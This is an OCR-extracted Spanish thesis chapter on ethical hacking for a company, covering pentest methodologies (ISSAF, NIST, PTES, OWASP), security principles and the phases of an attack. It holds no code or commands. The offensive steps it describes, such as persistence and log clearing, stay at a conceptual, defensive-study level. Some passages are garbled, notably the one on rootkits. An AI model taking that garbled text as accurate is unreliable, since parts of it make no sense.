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RESUMEN

En el desarrollo se conoceran fundamentos tedricos sobre temas relacionados a la
seguridad informatica y seguridad de la informacidén ya que es un componente esencial
en la actualidad para el funcionamiento de companiias que utilizan las tecnologias de la
informacion, tras la generacion de diversas amenazas y vulnerabilidades. En este
proyecto de grado se plantea el analisis de vulnerabilidades en la infraestructura
NOSTRADAMUS S.A.S empresa perteneciente al sector tecnologico cuyo objetivo es
brindar servicios en los sectores educativos, corporativos y gubernamentales, con
proyectos de educacion y capacitacidn, esta organizacion brinda Capacitacion y soporte
por 24/7, en los ultimos dias la empresa fue vulnerada por delincuentes informaticos y
por consiguiente le fue robara su informacion por medio de ataques remotos, esta brecha
de seguridad lo que ocasiono fue la pérdida de imagen corporativa, perdida de datos y
por consiguiente pérdida de clientes. El objetivo de este proyecto es realizar un analisis
de vulnerabilidades dentro de la infraestructura de la organizacidn y gestionar desde un
enfoque estratégico y directivo las Politicas la Seguridad para el tratamiento de la
Informacién de la Empresa, con el fin de mitigar estos riesgos y evitar que vuelva a ocurrir

estas afectaciones.

Palabras clave: Ethical Hacking, Seguridad informatica, seguridad de la informacion,

Pentest, Vulnerabilidad



ABSTRACT

In the development, theoretical foundations on issues related to computer security and
information security will be known since it is an essential component today for the
operation of companies that use information technologies, after the generation of various
threats and vulnerabilities. In this degree project the analysis of vulnerabilities in the
infrastructure is proposed NOSTRADAMUS SAS, a company belonging to the technology
sector whose objective is to provide services in the educational, corporate and
government sectors, with education and training projects, this organization provides
training and support for 24 / 7, in recent days the company was violated by computer
criminals and therefore its information was stolen through remote attacks, this security
breach which caused the loss of corporate image, loss of data and consequently loss of
customers. The objective of this project is to carry out a vulnerability analysis within the
organization's infrastructure and manage the Security Policies for the treatment of
Company Information from a strategic and directive approach, in order to mitigate these

risks and prevent them from these affectations reoccur.

Key Words: Ethical Hacking, Security Information, seguridad de la informacién, Pentest,

vulnerability
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INTRODUCCION

Este proyecto plantea realizar el analisis de la empresa Nostradamus SAS, utilizando
una metodologia y pruebas de penetracion cuyo objetivo es el descubrir y evaluar las
vulnerabilidades que se presenten, y poder determinar las estrategias de defensa para la
organizacion y establecer las respectivas recomendaciones de solucién ante las
vulnerabilidades encontradas; para la realizacidn de este proceso se efectuaran pruebas
de intrusion, y analisis de vulnerabilidades, estas practicas son realizadas en las

compainiias para conocer su nivel de seguridad.

En el desarrollo se conoceran fundamentos tedricos sobre temas relacionados a la
seguridad informatica y seguridad de la informacién ya que es un componente esencial
en la actualidad para el funcionamiento de companiias que utilizan las tecnologias de la

informacion, tras la generacion de diversas amenazas y vulnerabilidades.
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1. DEFINICION DEL PROBLEMA

1.1. ANTECEDENTES DEL PROBLEMA

La informacion es de los activos mas importantes y relevantes en una compaiia,
regularmente esta se gestiona en sistemas informaticos los cuales facilitan el
aprovechamiento, ya que en esta infraestructura es donde se transporta, almacena y

procesa por ende debe ser segura y confiable.

Muchas empresas no son conscientes y estan expuestas a ataques informaticos que
pueden afectar los datos sensibles e informacion relevante de la organizacion'.
Dependiendo del tipo de negocio se corre un mayor 0 menor riesgo en ser victima de

ataques informaticos.

Segun un informe realizado por la firma de seguridad Digiware, reveldé que en 2017 en
Colombia se registraron 198 millones de ataques cibernéticos, tras estos ataques hubo
pérdidas por mas de $6.179 millones de dolares. Digiware determin6 que 5 de cada 6
ataques exitosos en el pais se deben a suplantacién de usuarios, vulnerabilidades en
aplicaciones, mala configuracion en infraestructura, falta de parcheo, malware avanzado,

sistemas ineficientes.?

Y con todas estas cifras aun hay empresas que piensan que los ataques informaticos le
ocurren a las demas entidades y no a ellos: con este tipo de pensamientos se frena la
innovacion y la limitan lo que dificulta las tareas de inversion en materia de seguridad,

ya que consideran que puede ser algo costoso, sin embargo el no tener conocimientos

' Latam Kaspersky [En linea] Bogotd 2020 [Fecha de Consulta: septiembre 2020] Disponible en
https://latam.k  (Kapersky, fd) aspersky.com/about/press-releases/2018_la-falta-de-conocimiento-en-
seguridad-informatica-pone-en-riesgo-a-las-empresas

2 Dinero [En linea]. Bogotd 2017 [Fecha de Consulta: junio 2019]Disponible en
https://www.dinero.com/ltem/ArticleAsync/2503217?nextld=250338&nextld=250317
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en el area acarrea mayores costos, ya que al ser atacados los ciber-delincuentes buscan
recompensas lucrativas ante esto las empresas optan por correr el riesgo y quedar

vulnerables ante las amenazas?.

1.2. FORMULACION DEL PROBLEMA

El problema planteado en la empresa NOSTRADAMUS S.A.S fue ocasionado en sus
sistemas operativos Windows 7 el cual fue atacado por delincuentes informaticos que
afectaron los navegadores web al hacer uso de técnicas de ingenieria social y usando la
herramienta de metasploit, los ciberdelincuentes pudieron ejecutar una elevacién de
privilegios lo cual les permitio el robo de la informacion, desencadenando una serie de
eventos desafortunados en la imagen corporativa de la empresa incurriendo asi en la
perdida de los datos, a raiz de esto los clientes molestos se retiraron de la compafia y
de seguir asi la empresa podria llegar a instancias de cerrar sus puertas, por esto se

plantea el siguiente interrogante.

1.3. PREGUNTA DE INVESTIGACION

¢, Como por medio de metodologias de Ethical Hacking se puede asegurar la continuidad
de los negocios de la empresa NOSTRADAMUS S.A.S.?

3 Factor Capital Humano [En linea]. Julio 2019 [Fecha de Consulta: septiembre 201] Disponible en
https://factorcapitalhumano.com/emprendedores/cuanto-debe-presupuestar-una-pyme-para-
ciberseguridad/2018/05/
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2. JUSTIFICACION

El mundo de las amenazas informaticas continua expandiéndose con mayor velocidad,
con cada tecnologia nueva también viene con nuevas amenazas, las consecuencias de

los sistemas inseguros y la informacion vulnerable son casi siempre costosas y molestas®.

Por lo anterior es de gran importancia que los sistemas de informacién y la infraestructura
gue usan las empresas estén preparadas para afrontar ataques de los ciberdelincuentes

que quieran perjudicar las compafias para sus propios beneficios.

Es de suma importancia realizar una evaluacion de vulnerabilidades, en la infraestructura
utilizando las mismas tacticas que usaria un delincuente Informatico para asi identificar
cuales son las brechas de seguridad que tiene la empresa y estar preparado ante
cualquier ataque informatico, todo esto enfocado en una metodologia de pruebas de
penetracion de seguridad enfocado en la identificacion de vulnerabilidades que se
encuentren presentes en la red, por medio de la metodologia OSSTMM, los analistas de
seguridad y los pentester pueden realizar las pruebas adecuadas de acuerdo a las
necesidades de la organizacidn y ofrece las soluciones mas éptimas para la toma de

planes de accion para asegurar y proteger la empresa. °

4 Ciberseguridad. Retos y amenazas a la seguridad nacional en el ciberespacio [En linea]. Octubre 2010
[Fecha de Consulta: octubre 2020] Disponible en
http://www.ieee.es/Galerias/fichero/cuadernos/CE_149_Ciberseguridad.pdf

5 OSSTMM, Manual de la Metodologia Abierta de Testeo de Seguridad [En linea]. Noviembre 2016 [Fecha
de Consulta: septiembre 2020] Disponible en https://www.dragonjar.org/osstmm-manual-de-la-
metodologia-abierta-de-testeo-de-seguridad.xhtml
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3. OBJETIVOS

3.1.OBJETIVO GENERAL

Realizar una propuesta de aseguramiento como mecanismo de seguridad para la
empresa de la empresa NOSTRADAMUS S.A.S, que permita el descubrimiento de

vulnerabilidades encontradas mediante técnicas de ethical hacking.

3.2. OBJETIVOS ESPECIFICOS

4. Ejecutar el plan de actividades usando técnicas de hacking ético, para el hallazgo de
vulnerabilidades.

5. Presentar un reporte de resultados de vulnerabilidades encontradas, haciendo
algunas recomendaciones que minimicen las vulnerabilidades.
Realizar el analisis de la propuesta de seguridad para la empresa.

Definir los lineamientos de la propuesta de aseguramiento.

15



4. MARCO REFERENCIAL

4.1 MARCO CONCEPTUAL

Pruebas de Penetracion (pentest o pentesting)

Una prueba de penetracion o test es la forma como las organizaciones pueden realizar
las mediciones de sus sistemas de informacion por medio de herramientas o procesos,
de la misma forma como lo realizaria un delincuente informatico; de como este logra
acceder o tener acceso a la informacion de la organizacion, estas pruebas de penetracion
se realizan con el fin de identificar las posibles vulnerabilidades o brechas de seguridad

que puede ser aprovechas por los atacantes.b
Tipos de pentesting

1. Caja Negra: En este tipo de pentesting los analistas de seguridad no conocen como
es el funcionamiento interno en los sistemas por lo que intentan con sus propios
conocimientos y herramientas para ganar el acceso al sistema.

2. Caja Blanca: En este tipo de pentesting los analistas de seguridad cuentan con pleno
conocimiento de cada uno de los procesos involucrados y el funcionamiento de la
organizacion, es posible que se realice la actividad junto con el personal interno de la
organizacion.

3. Caja gris: En este tipo de pentesting los analistas de seguridad conocen algunas

funcionalidades internas de la organizacion y otras son desconocidas.

6 Dragonjar [En linea]. Octubre 2010 [Fecha de Consulta: octubre 2020] Disponible en
https://www.dragonjar.org/pruebas-de-penetracion.xhtml
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Para la realizacion De estas pruebas de penetracion los analistas de seguridad pueden
hacer uso de diferentes metodologias practicas y guias las cuales faciliten el desarrollo

de esta actividad dependiendo de la necesidad de la organizacion:

Metodologia ISSAF.

El ISSAF (Information System Security Assessment Framework) también conocida como
el Marco de Evaluacion de Seguridad de Sistemas de Informacidén, Esta metodologia
permite realizar los criterios de evaluacion de acuerdo con 3 fases que comprenden lo

siguiente:’

e Fase 1 Planificacion y preparacion: En esta fase es donde se realiza la
extraccion de informacién inicial o planificacion con el fin dar inicio con la
evaluacion.

e Fase 2 Evaluacion: en esta fase es donde se inicia con el desarrollo de las
pruebas de seguridad establecidas en la metodologia.

e Fase 3 Reportes: en esta fase finalmente es donde se realiza la generacion de
informes de los resultados esperados, destruccion y limpieza de las pruebas

aplicadas.

NIST SP 800-115.

NIST SP 800-115 (Technical Guide to Information Security Testing and Assessment), El
Instituto nacional de estandares y tecnologia realiza la publicacion de esta guia en el afio

2008 en las que define las pruebas de penetracion y establece 4 fases para su desarrollo.

7Revista Cubana de Ciencias Informaticas [En linea]. Octubre 2018 [Fecha de Consulta: octubre 2020]
Disponible en http://scielo.sld.cu/scielo.php?script=sci_arttext&pid=52227-
18992018000400005&Ing=pt&nrm=iso

17


http://scielo.sld.cu/scielo.php?script=sci_arttext&pid=S2227-

e Fase de planificacidn: En esta fase principalmente se centra en que la evaluacion
de seguridad sea exitosa por lo que permite orientar los temas logisticos,

recomendaciones y planes de accidn que se llevara a cabo para esta actividad.®

= Fase de descubrimiento: En esta fase que realizar la validacion de las
vulnerabilidades de acuerdo con previa identificacion y analisis, su objetivo
principal es demostrar la existencia de una vulnerabilidad y su exposicion cuando
ésta se materializa. °

= Fase de ejecucion: En esta fase una vez en identifica las vulnerabilidades es
fundamental que se realice su evaluacion de acuerdo con el plan establecido,
También se realiza proceso de analisis se proporcionan recomendaciones
transmision y destruccion de materiales. 1°

= Fase documentaciéon y reporte: Una vez terminada la fase de ejecucion los
hallazgos se expresan en forma de vulnerabilidades y se presentan a la
organizacion con el fin de adoptar medidas que mejore la seguridad y mitiguen los

eventos.

PTES

Esta metodologia es un estandar que permite la ejecucidn de pruebas las cuales van
desde la comunicacion inicial recopilacion y modelado de amenazas explotacion entre

otros, el cual consta de 7 secciones:

e Interacciones de pre-compromiso: en esta seccidn su objetivo es presentar las

herramientas y técnicas que se utilizaran, de definen objetivos y alcance.

8 NIST |[En linea]. Octubre 2018 [Fecha de Consulta: octubre 2020] Disponible en
https://nvipubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf pag. 4.1

9 NIST [En lineal. Octubre 2018 [Fecha de Consulta: octubre 2020] Disponible en
https://nvipubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf pag. 3.1

0 NIST [En linea]l. Octubre 2018 [Fecha de Consulta: octubre 2020] Disponible en
https://nvipubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf pag. 7.1

" Ptes [En linea]. Agosto 2014 [Fecha de Consulta: octubre 2020] Disponible en http://www.pentest-
standard.org/index.php/Pre-engagement
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Recoleccidon de informacidn: Esta seccion consiste en realizar un reconocimiento de la
mayor cantidad de informacién que pueda ser utilizada durante las bases de evaluacion y
explotacion de las vulnerabilidades 2

Modelado de amenazas: En esta seccion se desglosa cada 1 los activos y
procesos de la organizacién las cuales deben estar identificados y documentados
para la realizacion de las pruebas de penetracion. 3

Andlisis De vulnerabilidad: En esta seccion su objetivo de descubrir las fallas el
sistemas y aplicaciones que puedan ser utilizadas por un atacante por lo que se
ve realizaron analisis adecuado a profundidad para alcanzar el objetivo. '
Explotacion: En esta seccidn el objetivo esta centrado en establecer el acceso a
un sistema informacién o recurso evitando las restricciones de seguridad donde
se establece un ventor de entrada y se identifican los objetos los activos mas
valorados.®

Post Explotacién: En esta seccidn se termina cual es el valor de las maquinas
que fueron comprometida y se mantiene el control para el uso posteriormente esta
fase que permite identificar y documentar cuales son los ajustes de configuracion,
relaciones con otros dispositivos conectados en la red para obtener otros
accesos'®.

Reporte: En este documento se define cuales fueron los criterios basicos en las
pruebas de penetracion qué proporcionar todos los elementos necesarios que

aporten valor al lector. 1/

2PTES [En linea]. Agosto 2014 [Fecha de Consulta:

standard.org/index.php/Intelligence_Gathering

BPTES [En linea]. Agosto 2014 [Fecha de Consulta:

standard.org/index.php/Threat_Modeling

4 PTES [En linea]. Agosto 2014 [Fecha de Consulta:

standard.org/index.php/Vulnerability_Analysis

S PTES [En linea]. Agosto 2014 [Fecha de Consulta:

standard.org/index.php/Exploitation

8 PTES [En linea]. Agosto 2014 [Fecha de Consulta:

standard.org/index.php/Post_Exploitation

7PTES [En linea]. Agosto 2014 [Fecha de Consulta:

standard.org/index.php/Reporting
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OWASP. La Guia de Pruebas de OWASP.

(OWASP Testing Guide) Esta comunidad abierta el mundo permite que las
organizaciones puedan adoptar medidas sobre los riesgos de seguridad en sus

aplicaciones esta metodologia se encuentra dias los siguientes aspectos'®

o Recopilacién de informacion: Se basa en entender como esta configurado el
servidor donde se encuentra alojado la aplicacion web, “se considera que en una
cadena de aplicaciones es tan fuerte como se encuentre su eslabén mas débil."®

o Pruebas de gestion de configuracion e infraestructura: Conocer la informacion
sobre la infraestructura datos relevantes de la aplicacion web tales como el cédigo
fuente los métodos usados http formas de autentificacidn y como se encuentra
configurada la infraestructura.2?

o Pruebas de gestion de identidad: |dentificar qué usuarios son los que han
realizado un proceso de registro para validar su identidad dependiendo las tareas
que se hayan establecido. %!

» Pruebas de autenticacion: Es la accion de confirmar o establecer la legitimidad
y autenticidad sobre algun objeto o actividad, este proceso depende de varios
factores de autentificacion por lo que es necesario realizar las validaciones en el
sistema para conocer su funcionamiento??

o Pruebas de autorizaciéon: Este concepto es el que concede el acceso y recursos

solo a las personas que tengan permiso para acceder por ello es necesario

8 OWASP [En linea]. Diciembre 2004 [Fecha de Consulta: octubre 2020] Disponible en http
https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP_Testing_Guide_v4.pdf
19 OWASP [En linea]. Diciembre 2004 [Fecha de Consulta: octubre 2020] Disponible en Owasp
https://www.dragonjar.org/owasp-testing-guide-4-0-en-espanol.xhtml pag. 38

20 Owasp [En linea]. 2008 [Fecha de Consulta: octubre 2020] Disponible en Owasp https://owasp.org/www-
pdf-archive/Gu%C3%ADa de pruebas de OWASP ver 3.0.pdf pag. 85

21 OWASP [En linea]. 2008 [Fecha de Consulta: octubre 2020] Disponible en Owasp
https://owasp.org/www-pdf-archive/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.pdf pag. 91

2 OWASP [En linea]. 2008 [Fecha de Consulta: octubre 2020] Disponible en Owasp
https://owasp.org/www-pdf-archive/Gu%C3%ADa_de_pruebas_de_ OWASP_ver_3.0.pdf pag. 121
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entender su funcionamiento y de esta forma establecer como es posible saltarse
estos mecanismos de autorizacion. 23

o Pruebas de gestion de sesion: Esta prueba consiste en analizar como se realiza
la gestion de sesiones entender su funcionamiento y determinar la forma de
romper la sesion de usuario, Se pueden emplear métodos de ingenieria inversa,
manipulacién de cookies con el fin de robar las sesiones de usuario.?*

o Pruebas de validacion de ingreso: Estas pruebas es necesario que el analista
realice diferentes peticiones al servidor esperando la respuesta procesada en el
servidor.2>

« Manejo de errores: Al realizar las pruebas de penetracién en las diferentes
aplicaciones web es posible que se encuentren errores en el codigo fuente En las
aplicaciones, lo cual permite que los analistas pueden realizar pruebas de
penetracion durante el ejercicio y se encuentre informacion valiosa sobre
servidores y bases de datos. 26

» Criptografia: al Implementar el cifrado es necesario que exista un estandar de
criptografia que sea capaz de soportar las peticiones realizadas. 27

« Pruebas de légica del negocio: Para la realizacion de estas pruebas de logica
de negocio es necesario identificar las posibles fallas mediante pruebas de
abuso y mal uso. %8

o Pruebas del punto de vista del cliente: Las pruebas del lado del cliente es

donde las ejecuciones se realizan desde la perspectiva del cliente, normalmente

22 OWASP [En linea]. 2008 [Fecha de Consulta: octubre 2020] Disponible en Owasp
https://owasp.org/www-pdf-archive/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.pdf pag. 185

24 QOWASP [En linea]. 2008 [Fecha de Consulta: octubre 2020] Disponible en Owasp
https://owasp.org/www-pdf-archive/Gu%C3%ADa_de_pruebas_de_OWASP_ver_3.0.pdf pag. 160

25 Owasp [En linea]. Diciembre 2004 [Fecha de Consulta: octubre 2020] Disponible en Owasp
https://www.dragonjar.org/owasp-testing-guide-4-0-en-espanol.xhtml pag. 219

26 OWASP [En linea]. Diciembre 2004 [Fecha de Consulta: octubre 2020] Disponible en Owasp
https://www.dragonjar.org/owasp-testing-guide-4-0-en-espanol.xhtml pag. 240

27 Owasp [En linea]. 2008 [Fecha de Consulta: octubre 2020] Disponible en Owasp https://owasp.org/www-
pdf-archive/Gu%C3%ADa de pruebas de OWASP ver 3.0.pdf pag. 38

28 OWASP [En linea). Diciembre 2004 [Fecha de Consulta: octubre 2020] Disponible en Owasp
https://www.dragonjar.org/owasp-testing-guide-4-0-en-espanol.xhtml pag. 276
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se realiza desde un navegador web por medio de ejecuciones de codigo con el
fin de esperar una respuesta del lado del servidor.?®
e Seguridad informética
La seguridad informatica, también llamada Ciberseguridad la definimos como una
disciplina encargada de disenar procedimientos, normas, métodos y técnicas destinados
a proteger los sistemas informaticos, teniendo como prioridad sus tres pilares los cuales
son la confidencialidad, la integridad y la disponibilidad.
Esto implica un proceso de identificar y mitigar vulnerabilidades que se presenten en los

sistemas informaticos.30

La seguridad informatica establece estandares que minimizar al maximo los riesgos en
la informacién o la infraestructura informatica. En los estandares vienen representadas
horas, operaciones Estos estandares incluyen horas de operacion, restricciones,
aprobaciones, denegaciones, configuraciones, planes de contingencia, protocolos y todo
lo necesario para permitir un alto nivel de seguridad minimizando en la medida posible el

desempefio del trabajador y la organizacién en general®'.

Seguridad de la Informacion

La seguridad de la informacion se define como "un estado de bienestar de la informacion
y la infraestructura en el que la posibilidad de robo, alteracién e interrupcién de la
informacion y los servicios se mantiene baja o tolerable". Se basa en cinco elementos

principales: confidencialidad, integridad, disponibilidad, autenticidad y no repudio.

29 OWASP [En linea). Diciembre 2004 [Fecha de Consulta: octubre 2020] Disponible en Owasp
https://www.dragonjar.org/owasp-testing-guide-4-0-en-espanol.xhtml pag. 294

30 3ciencias [En linea]. Octubre 2018 [Fecha de Consulta: septiembre 2020] Disponible en
https://www.3ciencias.com/wp-content/uploads/2018/10/Seguridad-inform%C3%A1tica.pdf

31 3ciencias [En linea]. Octubre 2018 [Fecha de Consulta: septiembre 2020] Disponible en
https://www.3ciencias.com/wp-content/uploads/2018/10/Seguridad-inform%C3%A1tica.pdf
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Confidencialidad: La confidencialidad es la garantia de que la informacion sélo
es para aquellas personas que esta previamente autorizadas a tener acceso. Se
pueden producir infracciones de confidencialidad debido a un manejo incorrecto
de datos o un intento de pirateria. Los controles de confidencialidad incluyen la
clasificacion de datos, el cifrado de datos y la eliminacién adecuada del equipo (es
decir, de DVD, CD, etc.32

Integridad: La integridad es la confiabilidad de los datos o recursos en la
prevencion de cambios impropios y no autorizados, la seguridad de que la
informacion es lo suficientemente precisa para su proposito. Las medidas para
mantener la integridad de los datos pueden incluir una suma de comprobacion (un
numero producido por una funcidn matematica para verificar que un bloque de
datos determinado no se modifique) y control de acceso que garantiza que solo
las personas correctas puedan actualizar, agregar y eliminar datos para proteger

su integridad).33

Disponibilidad: La disponibilidad es la garantia de que los sistemas responsables
de entregar, almacenar y procesar la informacion son accesibles cuando lo
requieren los usuarios autorizados. Medidas para mantener la disponibilidad de
los datos puede incluir matrices de discos de sistemas redundantes y maquinas
en cluster, software antivirus para evitar que los gusanos destruyan redes y

sistemas de prevencion de denegacion de servicio (DDoS) distribuidos.3*

Autenticidad: Autenticidad se refiere a la caracteristica de una comunicacion,
documento o cualquier dato que garantice la calidad de ser genuino o no

corrompido. La funcién principal de la autenticacion es confirmar que un usuario

32 3CIENCIAS [En linea]. Octubre 2018 [Fecha de Consulta: septiembre 2020] Disponible en
https://www.3ciencias.com/wp-content/uploads/2018/10/Seguridad-inform%C3%A1tica.pdf pag. 22
33 3CIENCIAS [En linea]. Octubre 2018 [Fecha de Consulta: septiembre 2020] Disponible en
https://www.3ciencias.com/wp-content/uploads/2018/10/Seguridad-inform%C3%A1tica.pdf pag. 26
34 3CIENCIAS [En linea]. Octubre 2018 [Fecha de Consulta: septiembre 2020] Disponible en
https://www.3ciencias.com/wp-content/uploads/2018/10/Seguridad-inform%C3%A1tica.pdf pag. 27
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es quien dice ser. Los controles como la biometria, las tarjetas inteligentes y los
certificados digitales garantizan la autenticidad de los datos, las transacciones, las

comunicaciones o los documentos.

- No repudio: El no repudio es una forma de garantizar que el remitente de un
mensaje no pueda negar haber enviado el mensaje y que el destinatario no haya
recibido el mensaje de denegacion. Las personas y la organizacion usan firmas

digitales para garantizar el no repudio.

- Hacking:

El Hacking en el campo de la seguridad informatica se refiere a explotar las
vulnerabilidades del sistema y poner en peligro los controles de seguridad para
obtener acceso no autorizado o inapropiado a los recursos del sistema. Implica
modificar las caracteristicas del sistema o de la aplicacién para lograr un objetivo fuera
del proposito original de su creador. Se puede hackear para robar y redistribuir la
propiedad intelectual, lo que lleva a la pérdida de negocios. El Hacking en redes de
computadoras generalmente se realiza por medio de scripts u otra programacion de
red. Las técnicas de Hacking de redes incluyen crear virus y gusanos, realizar ataques
de denegacion de servicio (DoS), establecer conexiones de acceso remoto no
autorizadas a un dispositivo que usa troyanos, puertas traseras, crear redes de bots,
deteccion de paquetes, phishing y descifrado de contrasefas. ElI motivo detras del
Hacking podria ser robar informaciéon o servicios criticos, por emocion, desafio
intelectual, curiosidad, experimentacidn, conocimiento, ganancia financiera, prestigio,

poder, reconocimiento de pares, venganza y mas.3®

353CIENCIAS [En linea]. Octubre 2018 [Fecha de Consulta: septiembre 2020] Disponible en
https://www.3ciencias.com/wp-content/uploads/2018/10/Seguridad-inform%C3%A 1tica.pdf
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Hacker Etico

Hacker ético es aquel hacker que se emplean ya sea a través de contratos o empleo
directo para probar la seguridad de una organizacién. Utilizan las mismas habilidades y
tacticas como un cracker, pero con el permiso del propietario del sistema para llevar a
cabo su ataque contra el Sistema. Ademas, los hackers éticos no revelan las debilidades
de un sistema de evaluacion a cualquier persona que no sea el propietario del sistema.
Por ultimo, los hackers éticos trabajan bajo contrato para una empresa o cliente, y sus
contratos especifican lo que esta fuera de los limites y o que se espera de ellos. Su papel

depende de las necesidades especificas de una organizacion determinada.36

Fases del Hacking

En general, hay cinco fases de Hacking las cuales son: Reconocimiento, Escaneo, Ganar

acceso, Mantener el acceso, Limpieza de registro.3’

Reconocimiento: Reconocimiento se refiere a la fase preparatoria en la cual un atacante
reune la mayor cantidad de informacion posible sobre el objetivo antes de lanzar el
ataque. En esta fase, el atacante recurre a la inteligencia competitiva para aprender mas
sobre el objetivo. Esta fase también puede implicar escaneo de red, ya sea externo o
interno, sin autorizacion. Esta fase permite a los atacantes planear el ataque. Esto puede
llevar algo de tiempo ya que el atacante reune la mayor cantidad de informacion posible.
Parte de este reconocimiento puede implicar ingenieria social. Un ingeniero social es una
persona que convence a las personas para que revelen informacidn como numeros de
teléfono, contrasefas y otra informacion confidencial que no figura en la lista. Por
ejemplo, el hacker podria llamar al proveedor de servicios de Internet del objetivo v,

utilizando la informacion personal obtenida previamente, convencer al representante del

3  ETSINF  [En linea]. [Fecha de  Consulta:  octubre  2020] Disponible  en
https://riunet.upv.es/bitstream/handle/10251/11856/memoria.pdf?sequence=1

37 HACKING CERO ANO 2011 [En linea]. [Fecha de Consulta: octubre 2020] Disponible en
http://www.tugurium.com/docs/HakingCero.pdf
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servicio al cliente de que el hacker es realmente el objetivo y, al hacerlo, obtener aun mas

informacién sobre el objetivo.3®

Escaneo: escanear es la fase inmediatamente anterior al ataque. Aqui, el atacante usa
los detalles recopilados durante el reconocimiento para identificar vulnerabilidades
especificas. El escaneo es una extension légica del reconocimiento activo, y, de hecho,
algunos intentos no diferencian el escaneo del reconocimiento activo. Sin embargo, hay
una ligera diferencia en que el escaneo implica un sondeo mas profundo por parte del
atacante. A menudo, las fases de reconocimiento y exploracion se superponen, y no
siempre es posible separar las dos. Informacién de red como el mapeo de sistemas,
enrutadores y cortafuegos utilizando herramientas simples como la utilidad estandar de
Windows Traceroute. De forma nativa, pueden usar herramientas como Cheops para
agregar informacion adicional a los resultados de Traceroute. Los escaneres de puertos
detectan los puertos de escucha para encontrar informacién sobre la naturaleza de los
servicios que se ejecutan en la maquina de destino. La técnica principal de defensa contra
los escaneres es cerrar los servicios que no son necesarios, asi como implementar un
filtro de puerto apropiado. Sin embargo, los atacantes aun pueden usar herramientas para
determinar las reglas implementadas por el filtro de puertos. Las herramientas mas
comunmente utilizadas son los escaneres de vulnerabilidad, que pueden buscar miles de
vulnerabilidades conocidas en una red objetivo. Esto le da al atacante una ventaja porque
él o ella solo tienen que encontrar un solo medio de entrada, mientras que el profesional
de sistemas tiene que asegurar la mayor vulnerabilidad posible aplicando parches. Las
organizaciones que usan sistemas de deteccién de intrusos aun deben permanecer
atentos, porque los atacantes pueden usar y usaran técnicas de evasidén en cada paso

del camino.3®

Ganar acceso: Esta es la fase en la que se produce el hackeo real. Los atacantes usan

38 INCIBE [En linea]. [Fecha de Consulta: enero 2020] Disponible en https://www.incibe.es/protege-tu-
empresa/blog/las-7-fases-ciberataque-las-conoces

39 HACKING CERO ANO 2011 [En linea]. [Fecha de Consulta: octubre 2020] Disponible en
http://www.tugurium.com/docs/HakingCero.pdf pag. 114
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durante la fase de reconocimiento y exploracién para obtener acceso al sistema y la red
de destino. A pesar de que los hackers pueden causar mucho dafo sin obtener acceso
al sistema, el impacto del acceso no autorizado es catastrofico. Por ejemplo, los ataques
externos de denegacion de servicio pueden agotar los recursos o impedir que los
servicios se ejecuten en el sistema de destino. Los atacantes usan una técnica llamada
suplantacion para explotar el sistema pretendiendo ser un usuario legitimo o sistemas
diferentes. Pueden usar esta técnica para enviar un paquete de datos que contenga un
error al sistema de destino con el fin de explotar una inundacién y también se rompe la
disponibilidad de servicios esenciales. Una vez que un atacante obtiene acceso al
sistema objetivo, él/ ella intenta escalar los privilegios para tomar el control completo del

sistema objetivo.*°

Mantener el acceso: una vez que un atacante obtiene acceso al sistema de destino con
privilegios de administrador / nivel de raiz (siendo el propietario del sistema), puede
utilizar el sistema y sus recursos a voluntad, y puede usar el sistema como una plataforma
de lanzamiento para explorar y explotar otros sistemas, o para perfilar y continuar
explotando el sistema. Ambas acciones pueden causar gran cantidad de problemas. Por
ejemplo, el hacker podria implementar un rastreador para capturar una sesion de trafico
de red y sesiones de FTP (protocolo de transferencia de archivos) con otros sistemas, y
luego transmitir esos datos donde le plazca. Los atacantes que eligen no ser detectados
eliminan la evidencia de ellos e instalan una entrada en su totalidad para repetir el acceso.
También pueden instalar a nivel de nucleo el acceso administrativo del sistema a los
rotitos de destino en el nivel de troyanos en operacion, mientras que en la computadora.
Los rotitos obtienen acceso a los rotitos y requieren que los usuarios obtengan acceso al
caballo de Troya en el nivel de la aplicacion. Ambos para instalarlos localmente. En los
sistemas Windows, la mayoria de los troyanos se instalan como un servicio y se ejecutan
como sistema local, con acceso administrativo. Los hackers pueden usar troyanos para

transferir nombres de usuario, contrasefias y cualquier otra informaciéon almacenada en

40 ELHACK.INFO [En linea]. [Fecha de Consulta: octubre 2020] Disponible en https://ehack.info/las-fases-
del-hacking-etico/
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el sistema. Pueden mantener el control del sistema durante mucho tiempo mediante el
cierre de vulnerabilidades para evitar que otros hackers tomen el control de ellos, y en
ocasiones, en el proceso, ofrecen cierto grado de proteccidn al sistema frente a otros

ataques.*

Limpieza de registro: Por razones obvias, como evitar problemas legales y mantener el
acceso futuro, los atacantes generalmente intentan borrar toda evidencia de sus
acciones. Los atacantes utilizan utilidades como las herramientas, netcat o troyanos para
borrar sus huellas de los archivos de registro del sistema. Una vez que los troyanos estan
en su lugar, es probable que el atacante haya obtenido el control total del sistema. Los
atacantes pueden ejecutar scripts en el troyano o rootkit para reemplazar el sistema
critico y los archivos de registro para ocultar su presencia en el sistema. Otras técnicas
incluyen estenografia y tunelizacion. La estenografia es el proceso de ocultar datos en
otros datos, por ejemplo, archivos de imagen y sonido. El tunel aprovecha el protocolo de
transmision al llevar un protocolo sobre otro. Los atacantes pueden usar incluso una
pequena cantidad de espacio adicional en los encabezados TcP e IP del paquete de
datos para ocultar informacion. Un atacante puede usar el sistema comprometido para
lanzar nuevos ataques contra otros sistemas o como un medio para alcanzar otro sistema
en la red sin ser detectado. Por lo tanto, esta fase del ataque puede convertirse en la fase
de reconocimiento de otro ataque. Los administradores del sistema pueden implementar
identificadores basados en host (sistemas de deteccion de intrusiones) y software
antivirus para detectar troyanos y otros archivos y directorios aparentemente
comprometidos. Como hacker ético, debe conocer las herramientas y técnicas que
despliegan los atacantes para que pueda defender e implementar contramedidas,

detalladas en los modulos posteriores. 42

41 ETSINF  [En linea]. [Fecha de  Consulta:  octubre  2020] Disponible  en
https://riunet.upv.es/bitstream/handle/10251/11856/memoria.pdf?sequence=1 pag. 74
42 ETSINF [En lineal. [Fecha de Consulta: octubre 2020] Disponible en
https://riunet.upv.es/bitstream/handle/10251/11856/memoria.pdf?sequence=1 pag. 74
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4.2MARCO TEORICO

